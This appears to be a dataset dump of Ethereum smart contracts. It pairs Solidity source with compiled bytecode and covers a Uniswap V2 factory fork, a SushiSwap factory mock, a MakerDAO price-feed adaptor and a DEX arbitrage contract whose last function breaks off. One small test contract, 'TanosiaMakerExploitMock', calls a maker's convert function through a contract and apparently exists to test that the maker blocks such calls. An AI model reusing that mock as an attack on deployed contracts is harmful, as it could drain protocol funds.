type(UniswapV2Pair).creationCode; bytes32 salt = keccak256(abi.encodePacked(token0, token1)); assembly { pair := create2(0, add(bytecode, 32), mload(bytecode), salt) } UniswapV2Pair(pair).initialize(token0, token1); getPair[token0][token1] = pair; getPair[token1][token0] = pair; // populate mapping in the reverse direction allPairs.push(pair); emit PairCreated(token0, token1, pair, allPairs.length); } function setFeeTo(address _feeTo) external override { require(msg.sender == feeToSetter, 'UniswapV2: FORBIDDEN'); feeTo = _feeTo; } function setMigrator(address _migrator) external override { require(msg.sender == feeToSetter, 'UniswapV2: FORBIDDEN'); migrator = _migrator; } function setFeeToSetter(address _feeToSetter) external override { require(msg.sender == feeToSetter, 'UniswapV2: FORBIDDEN'); feeToSetter = _feeToSetter; } } // SPDX-License-Identifier: MIT pragma solidity 0.6.12; import "../uniswapv2/UniswapV2Factory.sol"; contract SushiSwapFactoryMock is UniswapV2Factory { constructor(address _feeToSetter) public UniswapV2Factory(_feeToSetter) {} } // SPDX-License-Identifier: MIT pragma solidity 0.6.12; import "../TanosiaMaker.sol"; contract TanosiaMakerExploitMock { TanosiaMaker public immutable tanosiaMaker; constructor (address _tanosiaMaker) public{ tanosiaMaker = TanosiaMaker(_tanosiaMaker); } function convert(address token0, address token1) external { tanosiaMaker.convert(token0, token1); } }
0x608060405234801561001057600080fd5b50600436106100a95760003560e01c80637cd07e47116100715780637cd07e47146101395780639aab924814610141578063a2e74af614610149578063c9c653961461016f578063e6a439051461019d578063f46901ed146101cb576100a9565b8063017e7e58146100ae578063094b7415146100d25780631e3dd18b146100da57806323cf3118146100f7578063574f2ba31461011f575b600080fd5b6100b66101f1565b604080516001600160a01b039092168252519081900360200190f35b6100b6610200565b6100b6600480360360208110156100f057600080fd5b503561020f565b61011d6004803603602081101561010d57600080fd5b50356001600160a01b0316610236565b005b6101276102ae565b60408051918252519081900360200190f35b6100b66102b4565b6101276102c3565b61011d6004803603602081101561015f57600080fd5b50356001600160a01b03166102f5565b6100b66004803603604081101561018557600080fd5b506001600160a01b038135811691602001351661036d565b6100b6600480360360408110156101b357600080fd5b506001600160a01b0381358116916020013516610698565b61011d600480360360208110156101e157600080fd5b50356001600160a01b03166106be565b6000546001600160a01b031681565b6001546001600160a01b031681565b6004818154811061021c57fe5b6000918252602090912001546001600160a01b0316905081565b6001546001600160a01b0316331461028c576040805162461bcd60e51b81526020600482015260146024820152732ab734b9bbb0b82b191d102327a92124a22222a760611b604482015290519081900360640190fd5b600280546001600160a01b0319166001600160a01b0392909216919091179055565b60045490565b6002546001600160a01b031681565b6000604051806020016102d590610736565b6020820181038252601f19601f8201166040525080519060200120905090565b6001546001600160a01b0316331461034b576040805162461bcd60e51b81526020600482015260146024820152732ab734b9bbb0b82b191d102327a92124a22222a760611b604482015290519081900360640190fd5b600180546001600160a01b0319166001600160a01b0392909216919091179055565b6000816001600160a01b0316836001600160a01b031614156103d6576040805162461bcd60e51b815260206004820152601e60248201527f556e697377617056323a204944454e544943414c5f4144445245535345530000604482015290519081900360640190fd5b600080836001600160a01b0316856001600160a01b0316106103f95783856103fc565b84845b90925090506001600160a01b03821661045c576040805162461bcd60e51b815260206004820152601760248201527f556e697377617056323a205a45524f5f41444452455353000000000000000000604482015290519081900360640190fd5b6001600160a01b038281166000908152600360209081526040808320858516845290915290205416156104cf576040805162461bcd60e51b8152602060048201526016602482015275556e697377617056323a20504149525f45584953545360501b604482015290519081900360640190fd5b6060604051806020016104e190610736565b6020820181038252601f19601f8201166040525090506000838360405160200180836001600160a01b031660601b8152601401826001600160a01b031660601b815260140192505050604051602081830303815290604052805190602001209050808251602084016000f59450846001600160a01b031663485cc95585856040518363ffffffff1660e01b815260040180836001600160a01b03168152602001826001600160a01b0316815260200192505050600060405180830381600087803b1580156105ae57600080fd5b505af11580156105c2573d6000803e3d6000fd5b505050506001600160a01b0384811660008181526003602081815260408084208987168086529083528185208054978d166001600160a01b031998891681179091559383528185208686528352818520805488168517905560048054600181018255958190527f8a35acfbc15ff81a39ae7d344fd709f28e8600b4aa8c65c6b64bfe7fe36bd19b90950180549097168417909655925483519283529082015281517f0d3648bd0f6ba80134a33ba9275ac585d9d315f0ad8355cddefde31afa28d0e9929181900390910190a35050505092915050565b60036020908152600092835260408084209091529082529020546001600160a01b031681565b6001546001600160a01b03163314610714576040805162461bcd60e51b81526020600482015260146024820152732ab734b9bbb0b82b191d102327a92124a22222a760611b604482015290519081900360640190fd5b600080546001600160a01b0319166001600160a01b0392909216919091179055565b612494806107448339019056fe60806040526001600c5534801561001557600080fd5b50604080518082018252601481527f54616e6f73696153776170204c5020546f6b656e0000000000000000000000006020918201528151808301835260018152603160f81b9082015281517f8b73c3c69bb8fe3d512ecc4cf759cc79239f7b179b0ffacaa9a75d522b39400f818301527fa7f74212fed207c9aacb4ceaf2be58be6a3c239bfd355f173c15cebeba8006f0818401527fc89efdaa54c0f20c7adf612882df0950f5a951637e0307cdcb4c672f298b8bc660608201524660808201523060a0808301919091528351808303909101815260c09091019092528151910120600355600580546001600160a01b031916331790556123798061011b6000396000f3fe608060405234801561001057600080fd5b50600436106101a95760003560e01c80636a627842116100f9578063ba9a7a5611610097578063d21220a711610071578063d21220a714610534578063d505accf1461053c578063dd62ed3e1461058d578063fff6cae9146105bb576101a9565b8063ba9a7a56146104fe578063bc25cf7714610506578063c45a01551461052c576101a9565b80637ecebe00116100d35780637ecebe001461046557806389afcb441461048b57806395d89b41146104ca578063a9059cbb146104d2576101a9565b80636a6278421461041157806370a08231146104375780637464fc3d1461045d576101a9565b806323b872dd116101665780633644e515116101405780633644e515146103cb578063485cc955146103d35780635909c0d5146104015780635a3d549314610409576101a9565b806323b872dd1461036f57806330adf81f146103a5578063313ce567146103ad576101a9565b8063022c0d9f146101ae57806306fdde031461023c5780630902f1ac146102b9578063095ea7b3146102f15780630dfe16811461033157806318160ddd14610355575b600080fd5b61023a600480360360808110156101c457600080fd5b8135916020810135916001600160a01b0360408301351691908101906080810160608201356401000000008111156101fb57600080fd5b82018360208201111561020d57600080fd5b8035906020019184600183028401116401000000008311171561022f57600080fd5b5090925090506105c3565b005b610244610acb565b6040805160208082528351818301528351919283929083019185019080838360005b8381101561027e578181015183820152602001610266565b50505050905090810190601f1680156102ab5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6102c1610afb565b604080516001600160701b03948516815292909316602083015263ffffffff168183015290519081900360600190f35b61031d6004803603604081101561030757600080fd5b506001600160a01b038135169060200135610b25565b604080519115158252519081900360200190f35b610339610b3c565b604080516001600160a01b039092168252519081900360200190f35b61035d610b4b565b60408051918252519081900360200190f35b61031d6004803603606081101561038557600080fd5b506001600160a01b03813581169160208101359091169060400135610b51565b61035d610be5565b6103b5610c09565b6040805160ff9092168252519081900360200190f35b61035d610c0e565b61023a600480360360408110156103e957600080fd5b506001600160a01b0381358116916020013516610c14565b61035d610c98565b61035d610c9e565b61035d6004803603602081101561042757600080fd5b50356001600160a01b0316610ca4565b61035d6004803603602081101561044d57600080fd5b50356001600160a01b0316611120565b61035d611132565b61035d6004803603602081101561047b57600080fd5b50356001600160a01b0316611138565b6104b1600480360360208110156104a157600080fd5b50356001600160a01b031661114a565b6040805192835260208301919091528051918290030190f35b6102446114de565b61031d600480360360408110156104e857600080fd5b506001600160a01b0381351690602001356114fd565b61035d61150a565b61023a6004803603602081101561051c57600080fd5b50356001600160a01b0316611510565b610339611682565b610339611691565b61023a600480360360e081101561055257600080fd5b506001600160a01b03813581169160208101359091169060408101359060608101359060ff6080820135169060a08101359060c001356116a0565b61035d600480360360408110156105a357600080fd5b506001600160a01b03813581169160200135166118a2565b61023a6118bf565b600c5460011461060e576040805162461bcd60e51b8152602060048201526011602482015270155b9a5cddd85c158c8e881313d0d2d151607a1b604482015290519081900360640190fd5b6000600c55841515806106215750600084115b61065c5760405162461bcd60e51b815260040180806020018281038252602581526020018061228a6025913960400191505060405180910390fd5b600080610667610afb565b5091509150816001600160701b03168710801561068c5750806001600160701b031686105b6106c75760405162461bcd60e51b81526004018080602001828103825260218152602001806122d36021913960400191505060405180910390fd5b60065460075460009182916001600160a01b039182169190811690891682148015906107055750806001600160a01b0316896001600160a01b031614155b61074e576040805162461bcd60e51b8152602060048201526015602482015274556e697377617056323a20494e56414c49445f544f60581b604482015290519081900360640190fd5b8a1561075f5761075f828a8d611a21565b891561077057610770818a8c611a21565b861561082257886001600160a01b03166310d1e85c338d8d8c8c6040518663ffffffff1660e01b815260040180866001600160a01b03168152602001858152602001848152602001806020018281038252848482818152602001925080828437600081840152601f19601f8201169050808301925050509650505050505050600060405180830381600087803b15801561080957600080fd5b505af115801561081d573d6000803e3d6000fd5b505050505b604080516370a0823160e01b815230600482015290516001600160a01b038416916370a08231916024808301926020929190829003018186803b15801561086857600080fd5b505afa15801561087c573d6000803e3d6000fd5b505050506040513d602081101561089257600080fd5b5051604080516370a0823160e01b815230600482015290519195506001600160a01b038316916370a0823191602480820192602092909190829003018186803b1580156108de57600080fd5b505afa1580156108f2573d6000803e3d6000fd5b505050506040513d602081101561090857600080fd5b5051925060009150506001600160701b0385168a9003831161092b57600061093a565b89856001600160701b03160383035b9050600089856001600160701b0316038311610957576000610966565b89856001600160701b03160383035b905060008211806109775750600081115b6109b25760405162461bcd60e51b81526004018080602001828103825260248152602001806122af6024913960400191505060405180910390fd5b60006109d46109c284600a611bbb565b6109ce876103e8611bbb565b90611c1e565b905060006109e66109c284600a611bbb565b9050610a0b620f4240610a056001600160701b038b8116908b16611bbb565b90611bbb565b610a158383611bbb565b1015610a57576040805162461bcd60e51b815260206004820152600c60248201526b556e697377617056323a204b60a01b604482015290519081900360640190fd5b5050610a6584848888611c6e565b60408051838152602081018390528082018d9052606081018c905290516001600160a01b038b169133917fd78ad95fa46c994b6551d0da85fc275fe613ce37657fb8d5e3d130840159d8229181900360800190a350506001600c55505050505050505050565b604051806040016040528060148152602001732a30b737b9b4b0a9bbb0b8102628102a37b5b2b760611b81525081565b6008546001600160701b0380821692600160701b830490911691600160e01b900463ffffffff1690565b6000610b32338484611e2d565b5060015b92915050565b6006546001600160a01b031681565b60005481565b6001600160a01b038316600090815260026020908152604080832033845290915281205460001914610bd0576001600160a01b0384166000908152600260209081526040808320338452909152902054610bab9083611c1e565b6001600160a01b03851660009081526002602090815260408083203384529091529020555b610bdb848484611e8f565b5060019392505050565b7f6e71edae12b1b97f4d1f60370fef10105fa2faae0126114a169c64845d6126c981565b601281565b60035481565b6005546001600160a01b03163314610c6a576040805162461bcd60e51b81526020600482015260146024820152732ab734b9bbb0b82b191d102327a92124a22222a760611b604482015290519081900360640190fd5b600680546001600160a01b039384166001600160a01b03199182161790915560078054929093169116179055565b60095481565b600a5481565b6000600c54600114610cf1576040805162461bcd60e51b8152602060048201526011602482015270155b9a5cddd85c158c8e881313d0d2d151607a1b604482015290519081900360640190fd5b6000600c81905580610d01610afb565b50600654604080516370a0823160e01b815230600482015290519395509193506000926001600160a01b03909116916370a08231916024808301926020929190829003018186803b158015610d5557600080fd5b505afa158015610d69573d6000803e3d6000fd5b505050506040513d6020811015610d7f57600080fd5b5051600754604080516370a0823160e01b815230600482015290519293506000926001600160a01b03909216916370a0823191602480820192602092909190829003018186803b158015610dd257600080fd5b505afa158015610de6573d6000803e3d6000fd5b505050506040513d6020811015610dfc57600080fd5b505190506000610e15836001600160701b038716611c1e565b90506000610e2c836001600160701b038716611c1e565b90506000610e3a8787611f3d565b600054909150806110115760055460408051637cd07e4760e01b815290516000926001600160a01b031691637cd07e47916004808301926020929190829003018186803b158015610e8a57600080fd5b505afa158015610e9e573d6000803e3d6000fd5b505050506040513d6020811015610eb457600080fd5b50519050336001600160a01b0382161415610f8f57806001600160a01b03166340dc0e376040518163ffffffff1660e01b815260040160206040518083038186803b158015610f0257600080fd5b505afa158015610f16573d6000803e3d6000fd5b505050506040513d6020811015610f2c57600080fd5b505199508915801590610f4157506000198a14155b610f8a576040805162461bcd60e51b81526020600482015260156024820152744261642064657369726564206c697175696469747960581b604482015290519081900360640190fd5b61100b565b6001600160a01b03811615610fe4576040805162461bcd60e51b815260206004820152601660248201527526bab9ba103737ba103430bb329036b4b3b930ba37b960511b604482015290519081900360640190fd5b610ffc6103e86109ce610ff78888611bbb565b61207d565b995061100b60006103e86120cf565b50611054565b6110516001600160701b0389166110288684611bbb565b8161102f57fe5b046001600160701b0389166110448685611bbb565b8161104b57fe5b04612159565b98505b600089116110935760405162461bcd60e51b815260040180806020018281038252602881526020018061231c6028913960400191505060405180910390fd5b61109d8a8a6120cf565b6110a986868a8a611c6e565b81156110d3576008546110cf906001600160701b0380821691600160701b900416611bbb565b600b555b6040805185815260208101859052815133927f4c209b5fc8ad50758f13e2e1088ba56a560dff690a1c6fef26394f4c03821c4f928290030190a250506001600c5550949695505050505050565b60016020526000908152604090205481565b600b5481565b60046020526000908152604090205481565b600080600c54600114611198576040805162461bcd60e51b8152602060048201526011602482015270155b9a5cddd85c158c8e881313d0d2d151607a1b604482015290519081900360640190fd5b6000600c819055806111a8610afb565b50600654600754604080516370a0823160e01b815230600482015290519496509294506001600160a01b039182169391169160009184916370a08231916024808301926020929190829003018186803b15801561120457600080fd5b505afa158015611218573d6000803e3d6000fd5b505050506040513d602081101561122e57600080fd5b5051604080516370a0823160e01b815230600482015290519192506000916001600160a01b038516916370a08231916024808301926020929190829003018186803b15801561127c57600080fd5b505afa158015611290573d6000803e3d6000fd5b505050506040513d60208110156112a657600080fd5b5051306000908152600160205260408120549192506112c58888611f3d565b600054909150806112d68487611bbb565b816112dd57fe5b049a50806112eb8486611bbb565b816112f257fe5b04995060008b118015611305575060008a115b6113405760405162461bcd60e51b81526004018080602001828103825260288152602001806122f46028913960400191505060405180910390fd5b61134a3084612171565b611355878d8d611a21565b611360868d8c611a21565b604080516370a0823160e01b815230600482015290516001600160a01b038916916370a08231916024808301926020929190829003018186803b1580156113a657600080fd5b505afa1580156113ba573d6000803e3d6000fd5b505050506040513d60208110156113d057600080fd5b5051604080516370a0823160e01b815230600482015290519196506001600160a01b038816916370a0823191602480820192602092909190829003018186803b15801561141c57600080fd5b505afa158015611430573d6000803e3d6000fd5b505050506040513d602081101561144657600080fd5b5051935061145685858b8b611c6e565b81156114805760085461147c906001600160701b0380821691600160701b900416611bbb565b600b555b604080518c8152602081018c905281516001600160a01b038f169233927fdccd412f0b1252819cb1fd330b93224ca42612892bb3f4f789976e6d81936496929081900390910190a35050505050505050506001600c81905550915091565b604051806040016040528060038152602001620544c560ec1b81525081565b6000610b32338484611e8f565b6103e881565b600c5460011461155b576040805162461bcd60e51b8152602060048201526011602482015270155b9a5cddd85c158c8e881313d0d2d151607a1b604482015290519081900360640190fd5b6000600c55600654600754600854604080516370a0823160e01b815230600482015290516001600160a01b03948516949093169261160492859287926115ff926001600160701b03169185916370a0823191602480820192602092909190829003018186803b1580156115cd57600080fd5b505afa1580156115e1573d6000803e3d6000fd5b505050506040513d60208110156115f757600080fd5b505190611c1e565b611a21565b61167881846115ff6008600e9054906101000a90046001600160701b03166001600160701b0316856001600160a01b03166370a08231306040518263ffffffff1660e01b815260040180826001600160a01b0316815260200191505060206040518083038186803b1580156115cd57600080fd5b50506001600c5550565b6005546001600160a01b031681565b6007546001600160a01b031681565b428410156116ea576040805162461bcd60e51b8152602060048201526012602482015271155b9a5cddd85c158c8e881156141254915160721b604482015290519081900360640190fd5b6003546001600160a01b0380891660008181526004602090815260408083208054600180820190925582517f6e71edae12b1b97f4d1f60370fef10105fa2faae0126114a169c64845d6126c98186015280840196909652958d166060860152608085018c905260a085019590955260c08085018b90528151808603909101815260e08501825280519083012061190160f01b6101008601526101028501969096526101228085019690965280518085039096018652610142840180825286519683019690962095839052610162840180825286905260ff89166101828501526101a284018890526101c28401879052519193926101e280820193601f1981019281900390910190855afa158015611805573d6000803e3d6000fd5b5050604051601f1901519150506001600160a01b0381161580159061183b5750886001600160a01b0316816001600160a01b0316145b61188c576040805162461bcd60e51b815260206004820152601c60248201527f556e697377617056323a20494e56414c49445f5349474e415455524500000000604482015290519081900360640190fd5b611897898989611e2d565b505050505050505050565b600260209081526000928352604080842090915290825290205481565b600c5460011461190a576040805162461bcd60e51b8152602060048201526011602482015270155b9a5cddd85c158c8e881313d0d2d151607a1b604482015290519081900360640190fd5b6000600c55600654604080516370a0823160e01b81523060048201529051611a1a926001600160a01b0316916370a08231916024808301926020929190829003018186803b15801561195b57600080fd5b505afa15801561196f573d6000803e3d6000fd5b505050506040513d602081101561198557600080fd5b5051600754604080516370a0823160e01b815230600482015290516001600160a01b03909216916370a0823191602480820192602092909190829003018186803b1580156119d257600080fd5b505afa1580156119e6573d6000803e3d6000fd5b505050506040513d60208110156119fc57600080fd5b50516008546001600160701b0380821691600160701b900416611c6e565b6001600c55565b604080518082018252601981527f7472616e7366657228616464726573732c75696e74323536290000000000000060209182015281516001600160a01b0385811660248301526044808301869052845180840390910181526064909201845291810180516001600160e01b031663a9059cbb60e01b1781529251815160009460609489169392918291908083835b60208310611ace5780518252601f199092019160209182019101611aaf565b6001836020036101000a0380198251168184511680821785525050505050509050019150506000604051808303816000865af19150503d8060008114611b30576040519150601f19603f3d011682016040523d82523d6000602084013e611b35565b606091505b5091509150818015611b63575080511580611b635750808060200190516020811015611b6057600080fd5b50515b611bb4576040805162461bcd60e51b815260206004820152601a60248201527f556e697377617056323a205452414e534645525f4641494c4544000000000000604482015290519081900360640190fd5b5050505050565b6000811580611bd657505080820282828281611bd357fe5b04145b610b36576040805162461bcd60e51b815260206004820152601460248201527364732d6d6174682d6d756c2d6f766572666c6f7760601b604482015290519081900360640190fd5b80820382811115610b36576040805162461bcd60e51b815260206004820152601560248201527464732d6d6174682d7375622d756e646572666c6f7760581b604482015290519081900360640190fd5b6001600160701b038411801590611c8c57506001600160701b038311155b611cd3576040805162461bcd60e51b8152602060048201526013602482015272556e697377617056323a204f564552464c4f5760681b604482015290519081900360640190fd5b60085463ffffffff42811691600160e01b90048116820390811615801590611d0357506001600160701b03841615155b8015611d1757506001600160701b03831615155b15611d82578063ffffffff16611d3f85611d3086612203565b6001600160e01b031690612215565b600980546001600160e01b03929092169290920201905563ffffffff8116611d6a84611d3087612203565b600a80546001600160e01b0392909216929092020190555b600880546dffffffffffffffffffffffffffff19166001600160701b03888116919091176dffffffffffffffffffffffffffff60701b1916600160701b8883168102919091176001600160e01b0316600160e01b63ffffffff871602179283905560408051848416815291909304909116602082015281517f1c411e9a96e071241c2f21f7726b17ae89e3cab4c78be50e062b03a9fffbbad1929181900390910190a1505050505050565b6001600160a01b03808416600081815260026020908152604080832094871680845294825291829020859055815185815291517f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259281900390910190a3505050565b6001600160a01b038316600090815260016020526040902054611eb29082611c1e565b6001600160a01b038085166000908152600160205260408082209390935590841681522054611ee1908261223a565b6001600160a01b0380841660008181526001602090815260409182902094909455805185815290519193928716927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef92918290030190a3505050565b600080600560009054906101000a90046001600160a01b03166001600160a01b031663017e7e586040518163ffffffff1660e01b815260040160206040518083038186803b158015611f8e57600080fd5b505afa158015611fa2573d6000803e3d6000fd5b505050506040513d6020811015611fb857600080fd5b5051600b546001600160a01b038216158015945091925090612069578015612064576000611ff5610ff76001600160701b03888116908816611bbb565b905060006120028361207d565b90508082111561206157600061202461201b8484611c1e565b60005490611bbb565b9050600061203d83612037866019611bbb565b9061223a565b9050600081838161204a57fe5b049050801561205d5761205d87826120cf565b5050505b50505b612075565b8015612075576000600b555b505092915050565b600060038211156120c0575080600160028204015b818110156120ba578091506002818285816120a957fe5b0401816120b257fe5b049050612092565b506120ca565b81156120ca575060015b919050565b6000546120dc908261223a565b60009081556001600160a01b038316815260016020526040902054612101908261223a565b6001600160a01b03831660008181526001602090815260408083209490945583518581529351929391927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9281900390910190a35050565b6000818310612168578161216a565b825b9392505050565b6001600160a01b0382166000908152600160205260409020546121949082611c1e565b6001600160a01b038316600090815260016020526040812091909155546121bb9082611c1e565b60009081556040805183815290516001600160a01b038516917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef919081900360200190a35050565b6001600160701b0316600160701b0290565b60006001600160701b0382166001600160e01b0384168161223257fe5b049392505050565b80820182811015610b36576040805162461bcd60e51b815260206004820152601460248201527364732d6d6174682d6164642d6f766572666c6f7760601b604482015290519081900360640190fdfe556e697377617056323a20494e53554646494349454e545f4f55545055545f414d4f554e54556e697377617056323a20494e53554646494349454e545f494e5055545f414d4f554e54556e697377617056323a20494e53554646494349454e545f4c4951554944495459556e697377617056323a20494e53554646494349454e545f4c49515549444954595f4255524e4544556e697377617056323a20494e53554646494349454e545f4c49515549444954595f4d494e544544a26469706673582212207b42140c761a4e2b0a2b64cd94f18e2c93822efc248252559b775783bf1bc9e264736f6c634300060c0033a2646970667358221220c69cbccda01bc7654198c1f8c1ec9f8448b8eb4a1ff9901b53c0c9b1fe4dcdf964736f6c634300060c0033
[ 7, 16, 9, 12, 10, 5 ]
0xf31aa1dfbed873ab957896a0204a016f5e123e02
pragma solidity ^0.4.25; // ---------------------------------------------------------------------------- // Adaptor to convert MakerDAO's "pip" price feed into BokkyPooBah's Pricefeed // // Used to convert MakerDAO ETH/USD pricefeed on the Ethereum mainnet at // https://etherscan.io/address/0x729D19f657BD0614b4985Cf1D82531c67569197B // to be a slightly more useable form // // Deployed to: 0xF31AA1dFbEd873Ab957896a0204a016F5E123e02 // // Enjoy. (c) BokkyPooBah / Bok Consulting Pty Ltd 2018. The MIT Licence. // ---------------------------------------------------------------------------- // ---------------------------------------------------------------------------- // PriceFeed Interface - _live is true if the rate is valid, false if invalid // ---------------------------------------------------------------------------- contract PriceFeedInterface { function name() public view returns (string); function getRate() public view returns (uint _rate, bool _live); } // ---------------------------------------------------------------------------- // See https://github.com/bokkypoobah/MakerDAOSaiContractAudit/tree/master/audit#pip-and-pep-price-feeds // ---------------------------------------------------------------------------- contract MakerDAOPriceFeedInterface { function peek() public view returns (bytes32 _value, bool _hasValue); } // ---------------------------------------------------------------------------- // Pricefeed with interface compatible with MakerDAO's "pip" PriceFeed // ---------------------------------------------------------------------------- contract MakerDAOPriceFeedAdaptor is PriceFeedInterface { string private _name; MakerDAOPriceFeedInterface public makerDAOPriceFeed; constructor(string name, address _makerDAOPriceFeed) public { _name = name; makerDAOPriceFeed = MakerDAOPriceFeedInterface(_makerDAOPriceFeed); } function name() public view returns (string) { return _name; } function getRate() public view returns (uint _rate, bool _live) { bytes32 value; (value, _live) = makerDAOPriceFeed.peek(); _rate = uint(value); } }
0x6080604052600436106100565763ffffffff7c010000000000000000000000000000000000000000000000000000000060003504166306fdde03811461005b57806307d13464146100e5578063679aefce14610123575b600080fd5b34801561006757600080fd5b50610070610151565b6040805160208082528351818301528351919283929083019185019080838360005b838110156100aa578181015183820152602001610092565b50505050905090810190601f1680156100d75780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156100f157600080fd5b506100fa6101e7565b6040805173ffffffffffffffffffffffffffffffffffffffff9092168252519081900360200190f35b34801561012f57600080fd5b50610138610203565b6040805192835290151560208301528051918290030190f35b60008054604080516020601f60026000196101006001881615020190951694909404938401819004810282018101909252828152606093909290918301828280156101dd5780601f106101b2576101008083540402835291602001916101dd565b820191906000526020600020905b8154815290600101906020018083116101c057829003601f168201915b5050505050905090565b60015473ffffffffffffffffffffffffffffffffffffffff1681565b6000806000600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166359e02dd76040518163ffffffff167c01000000000000000000000000000000000000000000000000000000000281526004016040805180830381600087803b15801561028d57600080fd5b505af11580156102a1573d6000803e3d6000fd5b505050506040513d60408110156102b757600080fd5b50805160209091015190949093509150505600a165627a7a723058208d28b4b0a22f109108933e06409a425998f4750d2e9b1d7928bbb10fc08c31910029
[ 38 ]
0xf31ace3c882ae2b896c06181f85c69f2cde2da36
// SPDX-License-Identifier: MIT pragma solidity >=0.8.2; // Jai Shree Ram!! interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } interface IUniswapV2Router01 { function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidity( address tokenA, address tokenB, uint amountADesired, uint amountBDesired, uint amountAMin, uint amountBMin, address to, uint deadline ) external returns (uint amountA, uint amountB, uint liquidity); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); function removeLiquidity( address tokenA, address tokenB, uint liquidity, uint amountAMin, uint amountBMin, address to, uint deadline ) external returns (uint amountA, uint amountB); function removeLiquidityETH( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external returns (uint amountToken, uint amountETH); function removeLiquidityWithPermit( address tokenA, address tokenB, uint liquidity, uint amountAMin, uint amountBMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountA, uint amountB); function removeLiquidityETHWithPermit( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountToken, uint amountETH); function swapExactTokensForTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external returns (uint[] memory amounts); function swapTokensForExactTokens( uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline ) external returns (uint[] memory amounts); function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline) external payable returns (uint[] memory amounts); function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline) external returns (uint[] memory amounts); function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline) external returns (uint[] memory amounts); function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline) external payable returns (uint[] memory amounts); function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB); function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut); function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn); function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts); function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts); } interface IUniswapV2Router02 is IUniswapV2Router01 { function removeLiquidityETHSupportingFeeOnTransferTokens( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external returns (uint amountETH); function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountETH); function swapExactTokensForTokensSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function swapExactETHForTokensSupportingFeeOnTransferTokens( uint amountOutMin, address[] calldata path, address to, uint deadline ) external payable; function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; } contract executeopportunity { address owner; address uniswapRouter = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D; address sushiswapRouter = 0xd9e1cE17f2641f24aE83637ab66a2cca9C378B9F; address WETH = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2; address[] path = new address[](2); address withdrawer = 0x706FD0a552dAe5aF9376Ba141A785f97032F1cf2; IUniswapV2Router02 public uniRouter; IUniswapV2Router02 public sushiRouter; constructor () { owner = msg.sender; uniRouter = IUniswapV2Router02(uniswapRouter); sushiRouter = IUniswapV2Router02(sushiswapRouter); } function uniswapTosushiswap(address _token, uint256 _amount, uint256 _deadline) external { require (msg.sender == owner, "Only owner callable!!"); path[0] = WETH; path[1] = _token; uint256 out = uniRouter.getAmountsOut( _amount, path )[1]; IERC20(WETH).approve(uniswapRouter, _amount); uniRouter.swapExactTokensForTokens( _amount, out, path, address(this), _deadline ); IERC20(_token).approve(sushiswapRouter, IERC20(_token).balanceOf(address(this))); path[0] = _token; path[1] = WETH; uint256 out2 = sushiRouter.getAmountsOut( 